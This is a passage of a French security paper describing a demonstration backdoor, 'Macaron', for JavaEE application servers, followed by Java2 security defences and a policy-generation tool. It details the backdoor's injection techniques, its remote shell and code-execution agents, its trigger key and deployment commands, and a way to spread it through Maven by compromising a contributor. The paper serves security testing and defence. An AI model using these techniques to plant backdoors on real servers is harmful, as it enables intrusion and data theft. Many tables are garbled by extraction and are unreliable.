La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

